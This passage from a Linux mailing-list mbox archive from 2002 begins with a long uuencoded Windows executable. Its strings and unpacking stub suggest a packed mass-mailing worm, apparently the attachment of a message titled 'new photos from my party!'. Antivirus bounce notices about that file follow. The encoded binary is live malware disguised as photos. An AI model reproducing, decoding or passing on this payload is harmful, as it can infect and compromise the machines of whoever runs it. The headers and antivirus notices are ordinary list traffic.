M7`%!9S<5,*,S!MW#>K`5@W3=2A"X$73@DG3=$F7=$:JQSX0#'%"L4L"RIGL&
M4-*%'&@=B%/U<W5?E(R>^>`2_041VX$[225!H;A2'M"="WJP(4U)(A."V`P+
M:GP'9+"S!Z`E'L`5N`3<"14&PP]+:FD(W%9W(!<*'(+V[%I9IT4'.,1P+0.&
M@(,>M4[30M">@K]1+5\=F#,(2-(V+%@`LQ0T(&T,&FU%)$PY++/)!C&`MTQ5
MQQJ8BO2D/HT4!`L8P#]2.19S`2T>5]],,CQ@]@6][V40/)B=52)1VYWA?>A)
M$/?%W71)LQ21[>VJ)`"/MS>[)`#N$KI2-5`1FQN%0?=B;N&"49/ELH"WH`PV
M4:P@A#5%H6H$=59*W<V=Z'14=0D#=2),*"\8,U#2^%&D#;N)R5+_2"CKBR%<
M"RO[E#!0(U1E>,60D<&:1%`,H&Y9=4((8X<4\';25[&-2O]B^<`MN(9)9/,,
M4BO*@`#;&IG",@``KD6;H?]!-A0#_?+V?0`&`@$'$``#!@(0!$7^5^JS``4U
M,%,@("@X4%@'N];]K9(W,#!74`</(`L`"&"5;O/-:&```'!P>`@'%0<+_7.N
M`!H!#@`H`&X,`"?TQ[IL`2EK*&YU;&PI$%-_\___=6Y-;VY4=6579614:'5&
M<FE3871*86Y&96)-_[=V^V%R07!R!7E*)@)L075G4V5P3V-T6X'Z_4YO=D1E
M8S]46AL<='NWJ?]I;64@97)R;W('#0H73$]34Q']@/PW#@!324Y'`$1/34%O
MM[^L$A%2-C`R.`@M($MA8FS[]NTO=&\@:6YI5F%L:7H-:&5A<#?6VL\W)S=N
M;W0]!)%[MWVC0'-P86,C9GML;W=I.+EL:P')#6XW-F<@>0IS=&0UVUK[[7!U
M<BMV:7)T=2$SI6,C0K[8]B!C#&PH7S3VVG:;7RIE>%PO6`;<OK"3O>)?,3GW
M;W!E8-ONYE@Q<V\/9&5S8RM":VTR.$8D@;+Y!D*$&5<C-]MNA2%MN:QT:+]A
M+RN$D7QL;V-K%UISVV`T9+=A+@*BUKXUW"%R;0!P0&=R86T@2F$OA,)M-B\P
M.4]H-$-+$$$J*Y%"/M<P+BLX/0_ANWIG=2AS7S`R9HMMVZ[!;FYG@F\%=#H1
MT`IGK63F?TTM8!C_\+8Y9A56:7.J0RLK(%*@8>Z[/4QI8K1R>2<*+18`9]O#
M10XA$5#4.KDV[-;*+@``/.7@)?QE];8L:VQW;CY(1V5T3&&Q"W=L.D$*=F50
MMG5P$_^M;6</5YUD+H]E<W-A9V5";_&%!8!XU7,M,S(N9*@`P*HRC/)%5-D+
M,'Q`?LJ:3/`J35J0``,RR+)I!/__N$#Y?S<`@`0.'[H.`+0)S2&X`4P`'P)\
M5&AI<\-C86X$)6C516+BR':P_[\$($1/4R!M;V1E+@T-"B1#4$5[]A_V\DP!
M`U1)/%?@``\!"P$%#`ME(,P@T<I@]\V:VT(",#`"`IT7`K<VVY:]``<H`AL>
M[`WL;$`0!P8`@4K@MT]T`1>;$B9SVY`"7^`GY,K.+@#_%"=`E(W-#A#3(Q8G
MV_]_R,`A#`D""+6'`2N?)C1^Y"4M0RWB\H82#"@``";!PX`=`2\%,.@B0I8H
M_Q]`M$`X?3!0:!@+[=_:__]"H_@D(05(V&O1$`YT#FH0:/!_J?Z$%PK_]E_W
MO(PUH1M>PVH!6`3_%Z(&^=J-V[:UVT44!1!0IP+^[4X%#'$FT+M]_Y<A2?]W
M___0(T407251(_S'`I!UVW8$MPH,`P@O_O;6MFB+OU3P[2L,@_('#,G#5?U?
MONTK"OA1_#/`"8'L.)TS_[\!@N^?S=UM_Q=9C0L4#RP`*/[__\A3C9S9NNY7
M:'2_:!V`4,@?]M_]Z=1H_Q^J7J;H&&NSHT07')SMENYT+_____\>+"CB:%PC
M(,U]M_)%R6A82E#G\F^VSIEX-Q\45\SHOO___V__N+N%AO\E&D3\#KN($YW"
M]\\N-^BG%@-3Z_(Y7_C__SUC5SEW^X>U0TAJ`^L$5U>F:$@1+R\V5?#GP?__
M__`[]P^$:`*]X$+[[KN_0*](55"#%'J+'60?_[^P0#33ELXBN*Y5&53'@8X4
MR\_____VMOLL5_)62_3H.^\OQ@ZM,QDDP!3<5>5R.Q==_.#_"_\B'?(!BUPS
M=%A4D"WX%(E!`^_=[:;B_W^I8]5)U8L,,_:`H#C?N_]M2(`&____C;*^0/\A
M*`^.%T#&_]_^_6ICF5V-CAOW_3+_-Z+^5!<R$8#RF=*($0^%X;]AA.RS_R]`
M_SFE=7L[^'5&RNKNQX)]A"1,!(W>_____W2`I#13$>_LZ0Y6'$@XW1CV?WNW
M;:M925%KC7X!Z08#[?___T6+[BOOCO;K&C!)AT.+O-\0,-Z[V%!72T.`9/K_
M____*QPA4W;WZVF`('4Q-E2%W(P<(#(<=2R#O&S#4$\\4#/_____+#,<AH+A
M/T8[\P^,Z?C6\/'^LMC_M&+&=15H8.H0Q];_____GNPHG@6#9`GR,`CHQK[8
MM,M>;C`A;C0=MKUI"'!IP.CN(O[_`QM9-U#O=@&;1B`PHQ1%(%W)/0O_MR@W
M4WQ;1C08M`ON2``YCT3\_Q!.S_RC^MU6:(":`XL9P&VCV?___\9X5HWX5V96
M`JQD.F"LZ\BT<=9;XS/:3I5]#/__QO]9':;_A6=O^WXL.E_RM,`;@%D(](4#
M^UE]#____^UHL!(=]WS96_WL+[?."&\$N!S,ZXR-A>1V;ZZQ^!>"^)G_O00M
MAD,`J=D-[5___YN`:^AU!Z;V!<E6);:-/<)3?88SV_____\>\"WT`MEKW<;\
MC/+=QUKD)^/]"-LI#+[H50R*C#T17(7___]\H?U8!H@,$T.#8Q4C@#@J'VO[
M+0JI,4O^G$L%-/Y)3?2+36;9\\,'__^-_^QTIB(LAC?;;I_L@V4T*_A%!:QF
M&.\P2OO"_____ST,P@/V";,6DHOX62:&S98-=[#D5U8.!"!6$L+L6ZMN^___
M__Y<]%8#P4K0`F^W[C_\1BLI`]@7\$@Y)MW;;^!]6__"!D`I+,OJ1SM]]/PR
M@O]?^MR5&V<C3H,E0)0;!=[=Y20#H^A;Q?\W-")+#/V_P5IA70T=.^Q\??O_
M_P:X]WZ_=+LP#\-_B_F+?1-!@+\F+/[X_L<A___?$87I*_J-@A-7.*Q'.FM+
MVJ?^BST8^1[_]O__8\/P:,S4'=>?"KCT3W;8X%,I!L=I![CQ^9FP-^^^\?_K
M<6C(%/-<:,29D)\`1VC`]@?Y,FB\______@=:+BPG?"9]0A6;UG^P_WH%G@:
MB^0-OZZ]_'6!"-PN__]+!#/2EXO8HYVLM,)7B`]J9!'C`K\0_/\'N@?F:.`J
M:KT_MO%9^S0+&QE7Z_C_E_[E^M`;?QU_GT%U*:'<0ML%!3@=,/"6>___%R!O
M+(6X!F>)+2AG-_S;0\8%%`'K_?___R)310;*64!3VMKL8#]T"Q8)PN5N@W1P
M?M8,:M`U&/]_@2^%LQER>Q?6K:;KV*TD6ZZ)7&J;QF]0_?^>C5N`K!.)P(O%
M1-@N\,8\9$S^____A=1!O#A;*POQ!$LIA`=).'&[W#>*Z<0#0AA%#8D=Q?__
M_[=\8V<?"72+PP;%22,3Y+)E_SX\`75?54_3A[__7_CM1B;3JSL%1`]VUKHJ
M"Q!`'H`E%;,&(O____^\[ST0X#4%!P(_-FB%&+QQB(AEX`(2=M/]/`)U-VKL
M:;_$A8+<(47K?";5`6H;"[2^]6@%JM6ZPY/FP$:=1/]O_[<(75DND@@<#7U_
M2I8%!#P$=4>]]U4K30S___^%@&BU'"CF>QT$S1PX#^"D`7<(UPP+=Q3-/;3_
M?^N/YE\XF2H4;9R0G`1E,PPP/KT9C,.!____@#TXZW0*F6NSK_'K[6<2`08A
MHV`M`E@C;"__T@M\C]*&:Z8;GQ,4&AYI604/"8HWN/T-!3MIO@Z%7U:-^PC9
M____!K]>6#S;)<[8,NQ0T+C7C=31:T`'(3DOB=W_A:C__[MOT7X\OKP27D;\
M=!^-3=Q1-_C__U`F1;9^@=O<.S5_$!'@.TWP?_0>MQ_=*?\"___LB0G_+X/]
M'?P[TNS$8SY\Q0A]Z*$//<[_;_S_B!!-`0)\*\PZ&E?*`@I\RB9/!UO)8P'%
M7##_____6YM93+U$?]!!30,'\\S<V-`SN$%A[-(Y%<M4QGR,`/C\____G6$>
M(-3`N^^+\W=[2)0$K'X:ZHO++-N?1&D8.4;P__\O`:3_3`]U=/0=B>ZB=#A<
MQH2`A?'`_O___S`)F_\VG&'66KP/=R>-->UD&YR!'D([CWR'_AB"8V7?_O\%
M`PD_`4+G<TC#"#/M63DM)9%_67Y6__^__;_5]QG'74?N6WX2T,^+U<X"BLM*
MD+U"UW7TUB;_____ZO^_'>L.R=/31;`[57RQ5Z"U@)>12DP+_$(&C%[N.1W_
M____/!=:F$/:=1@8R.^3;"/T%$T2%R")5V[WGAV(4EVA/+______ZRXTB%7D
M7O$\UJ%F'MJ=<0L5:D_@$7HUQAL=]E&KDJY^Z?__=KA04A1!40+JY:+%,C4:
M975"P1'\-\U4A/#__Q<2,"N[%YF-=U8OR52)C(M7EC!.JM0GM;_]_V^TB[)T
M_EFB#&Z'E(E0X=P0&7CT%^Y6:O#_V__"#.`M7FRS8ZV1)'7XT*PQ&XMOL$1;
M4_____]70KPPJZ];,JL_M!IHTE!M8/;NK2`,\%90!(E=K%!O)___QO\TW.Y0
M==AF6]P%!AA>@O!T5LF_95=[!]:O#O____^V'8)J")73CC6`M5<7$0-G@SV4
M!;APJG0'Z0&:"J8@YO_____(\XV#"^"Z6E-Y]&K+VZE"#]QH<-+KX$ZK$>K>
MZP<DE/____]<D-AM3N"C/`@]MQ5T-?T:9@1QOQ8==2_WE07,?D@T=;_]___6
MB2D`WSV#Z@^@J`T6ZP-7=INAN:_W@5V3O"Y8O\#__XWGN_"7G1!1:/\!#CM3
M4XH,TMM,H8XH@+?X__]>#)HY:3?PAE"C:\"-<SCS_1>C())Z#4H+_/\;<M;:
M74L[Z\*]:KO&X!</_^`$_____W!!!C.'T>@N5?3=Q*3O;OG@:RN#PPP,XZ'"
M7O9T=*P'+?[__[3D#`^X(NAA+FD@R'*QV_#O*E-(5DA7.___E_@;4RT1!/0-
M$IB@E:IWJ'1KJ\$J%A%/?;7__V_\=2@"FZ6&H_%J`A_4>I,25"T)-4IP:Y\J
M.5W_"VS_K8`3;W^RL:S=C0<U\*,0'GJG[W[^7RC^@_D'#X>21.L?(1/$E*Q>
MO:/4RX7>X@4XD6*W"ML.%_7V+_3_YC5J$J7.GKT="A!3V@_K6A@5WOT`P/]+
MT2E1A>L3H<?K#`8+\^O__XV^*_:];0H@9.L<"1\0":4Q:V18A?0!.(%+%/Z`
M"Y2^KRJZZK+BM%+_!O]_=CS`IEW"F]`@I]XT3=,*U^B\R7';9/__E_XDT^_/
M4&9?L(Y+7_10SAD`*62D06=:F@6$M_Q?XO_LP0F]RI$F9\AU:+G\ERZ,_(H2
MB%W[__]=1!3Z-X[N9):_1*@#^L;/3K8"6W^+__\TT"4<:)S[/7F"02%$=`TD
MUJKLK1-G2#)?XO\"CWRF%>F:<%MG3!3.,5!;UQ;X4L'5W2D#COP)0%F(X/\7
M,0O:?/<D9`V9UH'I!_NX\?_?^-H(B)I$0T"Y2'.$=9%H'.%U<UW_;_V7OX6P
M793N$FEG,\ZP+1DOXBS-TFP&[G?__^-PY#KE+-W)TB_FYPTRZ-(4,.DYZB[)
M"7OC;NGK,>SHV0#N&^\2&_$^)]W_\G_9V?(;\RGT&S?UG9WV;_=H=_AA,RP"
M-O_[^7+Z9?L]<_PM_7CE_F/___\M0$.SL2.79P%#`D,;`Q3/4Y>:!&DN!4/2
M^,7_!?X"E`R%0@BRUL+YR1NX%$1`#5/__Q>X\L#:2&D%#G+^A+R""=QX@"@,
MJ%/A;[W5X@:!541/IL<4"/T-_@LJL(NW!`BLXA]$S-:X1@@-____"]K86D7$
M,_24_]M<&Z:@YE>`+L^UN5"!;I`\7_HO_5:]1Y@BOM3'_!D,HQR)UKU#DR,)
M_[_Q_P\DG%Q7L_%3E-#68!)[V9GI7J`)I"#KW:KIXB]!_['2L@^HV%,)@E%&
M-O>FR=!?Z(WE;"@%O-AN1D9<6`DJ\4N2(P!CO^]DD^@)^O\++02%`1=SW3=Z
M^XT,_YN@)8PBBTU42IF2-<P`D$U`_/];@;G<Y#!`T"9DH31CP4T+[W^A@&^M
M!S>8ISE$EHC5E0!O_/^%UYMD<R<N005<P0`)8-ONL],@#5@("O_;#XG7)'/_
M?CX55!"A`____Z7'9`[B;64RO!:\H<!4I16P%'^3S7A8+!N,_V_\_V@,9]L^
MU_P(!`Z"%@A'%ICMPE64+Y108DQL__]O_U44V\O2G%+XA:!1/S33+?F.WF@$
M.@"(.",6^,(O4/W_,.V,@#XBH:A]>ZO"G0PAE;,BO]7__W7R%K;?3[9U!!(*
M/"!W!@WK\+G;FNUV:*#___^D4D4$]A`!(-@1[4*GU"7MC[@*PSRP<2X:%G^+
MMZ]S$,_?$3M,F%"=4H(;_/_Y7JJA#7P)G(A049)\*;VP_O]_H=:+58A40/5@
M9V&I@T#.\'H-,??M#?W__SL@6YD@#X9F&8\$863A\9"0^SPPQ?;___\]G\EU
MGP/N%UO2D%M8@8$`F0\-@XQ\"T]T%``S0X/___]@`/\HH=91,J]'`RD%2"0`
M!*BA&%6[//^52_#_?V\C0V%B:6YE=%=#;&%S<TE%1I5E*/TO_0!.3[]]\U9%
M0D5'24XE<S_:\&_=JI=O>MO*_;=L*P`\QEO\`LEA;#X71TC;]JRQ"\#__WE3
M97)V`@M%;E5L0U-ON^W_`W>U\0+P87)E7!$6<PTS;*7_5EN.:R[[<UQ#=7(7
M;E)O]`O`,7.U7$D*"6ZT788@^O__K47P(F=4+'.9IFFZ5`-155-/Z_[M]Y1#
M?^'OEF-E'&UB961D,`#IN[4G17AP__\;_9I;<E^0[Y^3*T2P3V)J96,B5FEE
M=Q?0_E_X__]78)]!<'`@4&%T:!C68MN_'UA03$^`+@=%0___W^I0'\+8_V1$
M97-K=&]P)R`2)\+_"_]/6DE;_V_U3$Q!7R-404Y#15]!1#@W6P+O_;_!__XS
M,C1&,D7`.BT$3$5.04,P-#$YCPK\__]+Q?Y+97EB;V0@3&%Y;W6,2X",T=:W
M#V2P&_QO6TJRL@!$`1(B`C&3%*P*`/X-_J`*9!1`%<@0*I!1`%0@HW3_TH6`
M1@%7C`*@`AD%0""`"T7\WP`%V2@1__\W%\3@^@$T@#.`5,UE"?]"X5L2_MO_
MRXZ3;W-E2&%N9/@7_O]L90Q786ET1F]R4R)!5=LK#B]5;Y?M(:5>`%YB,$$/
M]L/NGM'[_R_]5&@:9$EDI:IFVTUU`W@A._W8[3M%#E.TP']I>W`53;5UP__/
M@FTG4W1A.X#_6TAP26YF;Q#9WEK[1D5=V_^_\80-4F7W<WL[S3;#T<@69T]P
M?=XK:B__+_S_70[[=LS%PP\,475Z>5;T!F*GV5P>-M[8;)LO]?]O*=O#:]88
MZ!027V/SMKMMIP)L9J-^X7_A7W,)]&WVVK^U"C!?88Y?='EM#QK]_YN?L/9?
M9FW`"S5M#0ORVX4":H[?Z-;?#V1I=@[0M=)G$(K&7ZU\_]O__VZA355T$!QG
M&(4VV`V!<F=S1_L-YMR%NVX,6&/_2_W_<'QI;"D,\6?-.<-I>HW'#71N:X;=
M:6UN_____W-R/@8*;6C6QA9B(B5N!V-Q!UXL67EP>24-%;="[/;5_U_@_R%O
M:5W+;%]H++3NVG(S'W#V!&91-=DL+HT%_O_S@!((PH0(#N3^_H@J=^O53OMO
M&___MRL4'L10>]<:86<-V82H^M-UOCY86+_Q+_!(QG-5[LE)QIC[\&>E<^A'
M03[?6/C_9>\P&S"U8U.MF[G=5*YL53]$/<WX____MF6W<`]C:"-S9CY;PX7N
MJ`]+2&Q4+W)+4VSC!2O__V]4G/%:8<&",?RNA62S6;`.A/PA3.9>7^)_@]FL
M=VF'#D&QV*PM\0XC[T7B+VWU.8(055XFX:]?11%L4NW__U_TESV:#DR99T&+
M!-<M#+AT#T8,+#0+EP4S_____\#^\%.0HNH3*P%K7-A!#E4R$>$.2U@!%%+`
M\U^>U8QE4OQ3_$]014P!!#RB:OO/`#B_U?\_"!BS+$<VH>+0)!`PLV#+S0L"
M!#,'(U[H_^S,+7L?%`DT$`>_M`T&2GA_JUM\C,CM58`A5QR#?5U7+GF#;[7P
M=.L6D)];C<2:`F#IO_#_?QLLLI5AVPS4'"=S][H+0`(N)LO7`<^>DO[?;O&S
M)Q[`NBC,296]9_L`"`<G&P0C%:U](Z]O`T`D52CX_Y"B2HZ^%3!"`(V^Z]_]
M_XA!;2HHZQ"'+T''`@(!V\P>@^X.V`GZ_!';<NU($1'`T/]@WPQS[W4)#G/D
M,<F#Z`-R#:L$X$K0/>Y8/6$'=HG%+\D,=2!!!)"PD!Q,U;<(OGR!_0#S5M$!
MC13O"D#<2?QV#VB4277WZ08@MA*B`)!B;D4O@`0'TG?QN'7?W?GI3!9>B?>Y
M1:F**2SH^`:E7CEW]X#@(XL'BE_[[__?>L'H",'`$(;$*?B`Z^@!\#L%B=CB
MV?_>?C-%YR,)P'0\BR>-A#!UW;<?)0'S4!\(_Y:,"Y5."#-;J;\=W(GY5TCR
M;A20+FPW(+@'B0.&Z^$0E*PHM-AAZ;-'BIRC%"(;$@,9DN;`$]&<WB%IAJ2D
MZ*R59DB:\[3^O-EN.8%_"E$8`RA1'X,,,M@V!T146I0^R"!D2T523@<W*+`4
M`43Q2416'_:DX$%020Y'1`E-4U9@K4'L0U)4"H$O%4&SK<17`0%%%B<%I:"'
M[\I!!@\8:`UZKD&>;=!*P7)K#YUI!!88BQ`,`%%GP5$@UD$U`"MZ9AN#`@&R
M="MEVE:P;!535`=R"9IH!060T(E/`J1:(()!A`KMEPYH1'`Z+R]W``2#<+^U
M^:)Y+F-O;:$L<#L&GZA<4B!-#75<8%!B5L?H9MN6:-M<"G,)=2[N92LNE?C#
M6%!23T9X'T58HL3[UP,60T]-`%%HA4^X78134R-A8T!C.EQ6=Z';X&-Y8_UD
M"&<T<FQ&S/9ELQ<.`'=B`W*QT<,MI2`E=U-%4!(*E'`U,)&91<.+6!.F:E,0
M3B"6GK!<?,`MT=HP>]INS!;L`M%Y.G)<#\]X+]S9,``Q7P[+;K!HL0U'#W3[
M%JTYB&4.SY]UV%G[]D-90^)$7$8ME0(`%[6(A`Q2C<XOO,X2OW.^5RHN9&)X
MXR6B\<LR^U)O;RL1#:*$W)(&L&UK)M!<*%S%3_TS]-:$@&]K("3U7#4N,!)+
MQ",;969AAB#>,A>PM]`@241'7T6X4?N^5T%"`S0$&B!&TH.)5D1^%[Q(0+?V
M%OI/($A/+0JQ&B]M.KM%H;<\B3X*4E_E5&\,,5Z:/T1!5$$*(`I3=>S7+G5C
M"PH#+KY523Y+J,+)-H%D#0IBS5'B8UOZ-@`@8VV[V4=[PSID>6%HS&H*>[?M
MA476=R!P2G3=(&8E(K9U-B!?(&!U!.L*A4BP,`=-$H5"H41Y("@0%0I%:RK[
M`T]6(FZM(!K]87KU)QNEUOA)(&AA0`\/HFBMX?X:E$EW96(Z*0AV`6L1Y6HL
M9B`K-$<Y%>$20U':6MM:(D9K!,]Q<GN%CHW_:50@;D,Q4K<9.B[`*VLY"OV<
M/21#`?`K0!,0;)`(F,3H`UD"!AO_`/#.\924B"KM+B!!`!O8;;>`X#!\H`=L
M`X!P,A00"U-<6Z#DKC=04U0_1`BV%R40[)-0(QO8A+(7#X,-TGVS%@,"`P<$
M-$W3-!@%#08)R"!-TP<,"`F]@`PV"AL+5QMLL.\[!P]7$!,1`S;(%Z02%R$U
M#]@@@PQ!0U`S8(,--E(74P=77],--MA9>VP7;:L@]X(T37`<<L<O@PTVV("S
M@0>"'X--,]@@A(^1*9X,-L@@H:1OIS#88(.WG\X?U[:JDX,+&`<%`PM`!NE.
M'0L$E@9DD&:-"(Z/0`9D0)"1;D`&9)*3`^/F^V&0!XSO`@0(&*2J9P?[8()Y
M@B$GIM\'H:7-]_.QNX&?X/Q^@/POJ,$Y.X3QH]JC(&^!_@=`08;`!K4O0:^0
M_[NV7\^BY*(:`.6BZ*);?J');W>?_E$%`]I>VE]?VFK:,AZ3VU_3V-[@^3DQ
M?O=W'-@?!"`%DQDG`K,PHT!FV70C!`<)V*(*FJ9IFK00B!%8$FR:IFDT$P@8
MT*'3-$VS&:@:<!NZUS1-.!P0>&P'>31-LVSPH'K@_-Q2`$W3_\S`@7)9P&\'
M`0&]$'*%+%,"`0+"1E7(`@,#2/DB<(U`ZF3*3)/R00$H2!X`F2!(`!`F9`"9
MA!"!9`AD0`$0"&1`!H("!(!T6#L@3TVW?"!/'@`[`UIX-DW3-)>UU/,1`6?9
MIEDP3FT!-P,G!HDZLW<#:UUWFJ[JT_(K+P--"*_/-&PZ+NM[`!!"``8!(2.H
M`BJ005$U!(Q;I-L7(+CP`4C`1G)E90E7ELU`]')I=&7K%%)D:F^WSPE,0TT?
M4W0:;F=!#83]]R*_"U1Y<&57';O9+\M74T5N9$]F.2M69=W<)JARXT5X.@1P
M8;,D0+`<18`V@IK=NG,:4RYE<(G>Y>Q6G!9O>99#871)-YL0BF$!%V6])12Y
M/(Q*/HL$]:!D+D1!;&RVAZ+7.D-C6GME!P0[H/5R;3,:>[>ST7ES96T=#DRA
M:.:"UPW*+R1!+9P1F-N"<BS*<LL20'""&DNP#7LST0U-;W:F!F[`'K#647(:
M#TYE>`ZOO4?1)PH1?HLM&]A4;Y@5GPZO=9\-A&]M;?%,0TH5OF$)=])I9&5#
M:!I_-T&P-4V#0GET2FQU<^$9W+]H0$)U9F8I4'DTPA(*`_\V\#D@3%A?PE9A
MPLP%035UVU@0+%=75K%[LV2/80Q;2X5N:(+@4$=E+55N:#LL;,2")'A,<)X>
MX07UGAE<O$QXSD44B'!16$N6P$WI]/Z%L"-L+5>W'@_+F/='8U`V[CW6Q@I!
M"P=/14T)QL0<16<G0R09"5&3(YUY<&O0RNUNG5)T;.=W:0I8DEK)MA*77`^B
MTRQ-5Z*9E(I<1:U#$*KP.S5J20Y1=19%PYHAB081T68W662F-I`24VA;1+<6
MV1]E8\%!EFW3;!>RF/\6`A`3699E670#%W,$`2F`930);">`*?D$`)(B4H@]
MP)-/`>A@-:``)CN1%&PP`0P#;0"D`&P@+^^KP`H@`)0A`8K;F4YA`"YTD0=P
MAY"[9,L&B,2:]BYRLT-'!)$`/OL>20%\(XQ$0"Z:IKG%)B?X:[!&D+-"5$HC
M*"MIMM@L!_LG"-8T@-I^&\0B`QV#````````$@#_`````&"^%>!``(V^ZR__
M_U>#S?_K$)"0D)"0D(H&1H@'1P';=0>+'H/N_!';<NVX`0````';=0>+'H/N
M_!';$<`!VW/O=0F+'H/N_!';<^0QR8/H`W(-P>`(B@9&@_#_='2)Q0';=0>+
M'H/N_!';$<D!VW4'BQZ#[OP1VQ')=2!!`=MU!XL>@^[\$=L1R0';<^]U"8L>
M@^[\$=MSY(/!`H']`//__X/1`8T4+X/]_'8/B@)"B`='277WZ6/___^0BP*#
MP@2)!X/'!(/I!'?Q`<_I3/___UZ)][FZ`0``B@='+.@\`7?W@#\!=?*+!XI?
M!&;!Z`C!P!"&Q"GX@.OH`?")!X/'!8G8XMF-O@`@`0"+!PG`=$6+7P2-A#``
M0`$``?-0@\<(_Y9D0`$`E8H'1PC`=-R)^7D'#[<'1U!'N5=(\JY5_Y9H0`$`
M"<!T!XD#@\,$Z]C_EFQ``0!AZ2/G_O\`````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````C%`!`&10`0``
M``````````````"94`$`=%`!`````````````````*90`0!\4`$`````````
M````````LE`!`(10`0```````````````````````````+Y0`0#,4`$`W%`!
M``````#J4`$``````/A0`0``````"0``@`````!+15).14PS,BY$3$P`0416
M05!),S(N9&QL`%-(14Q,,S(N9&QL`%=33T-+,S(N9&QL````3&]A9$QI8G)A
M<GE!``!'9710<F]C061D<F5S<P``17AI=%!R;V-E<W,```!296=#;&]S94ME
M>0```%-H96QL17AE8W5T94$`````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
I```````````````````````````````````````````````````````%
end



From - Thu Nov 08 21:21:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ANTIGEN_EXCH-3@ndsamericas.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Antigen found =*.com file
Date: Tue, 29 Jan 2002 17:44:06 -0800
Lines: 37
Approved: news@gmane.org
Message-ID: <218165EB68E7D411AC6F0003470DA6F63DDF63@EXCH-3>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C1A92F.9AAD99F0"
X-Trace: ger.gmane.org 1416621023 2151 80.91.229.3 (22 Nov 2014 01:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 18:39:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from exch-ims.us.nds.com (unknown [208.244.148.253])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DC90482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 18:39:34 -0700 (MST)
Original-Received: by exch-ims.us.nds.com with Internet Mail Service (5.5.2653.19)
	id <CXXV1RTB>; Tue, 29 Jan 2002 17:39:05 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13910

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1A92F.9AAD99F0
Content-Type: text/plain

Antigen for Exchange found www.myparty.yahoo.com matching =*.com file
filter.
The file is currently Removed.  The message, "[parisc-linux] new photos from
my party!", was
sent from paolobentenuto@vidoetron.ca and was discovered in Beason,
Todd\Inbox
located at NDS/NDS-US/EXCH-3.

------_=_NextPart_001_01C1A92F.9AAD99F0
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Antigen found =*.com file</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Antigen for Exchange found www.myparty.yahoo.com matching =*.com file filter.</FONT>
<BR><FONT SIZE=2>The file is currently Removed.&nbsp; The message, &quot;[parisc-linux] new photos from my party!&quot;, was</FONT>
<BR><FONT SIZE=2>sent from paolobentenuto@vidoetron.ca and was discovered in Beason, Todd\Inbox</FONT>
<BR><FONT SIZE=2>located at NDS/NDS-US/EXCH-3.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C1A92F.9AAD99F0--



From - Thu Nov 08 21:21:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: root@pop-1.nordnet.fr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ALERTE: VIRUS DETECTE DANS UN MESSAGE ENVOYE PAR parisc-linux-admin@lists.parisc-linux.org
Date: Wed, 30 Jan 2002 02:39:26 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <200201300139.CAA13227@pop-1.nordnet.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621023 2156 80.91.229.3 (22 Nov 2014 01:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 18:39:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-2.nordnet.fr (unknown [194.206.126.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DFAC4842
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 18:39:39 -0700 (MST)
Original-Received: from pop-1.nordnet.fr (pop-1.nordnet.fr [192.168.164.129])
	by smtp-2.nordnet.fr (8.9.3/8.9.0) with ESMTP id CAA02143
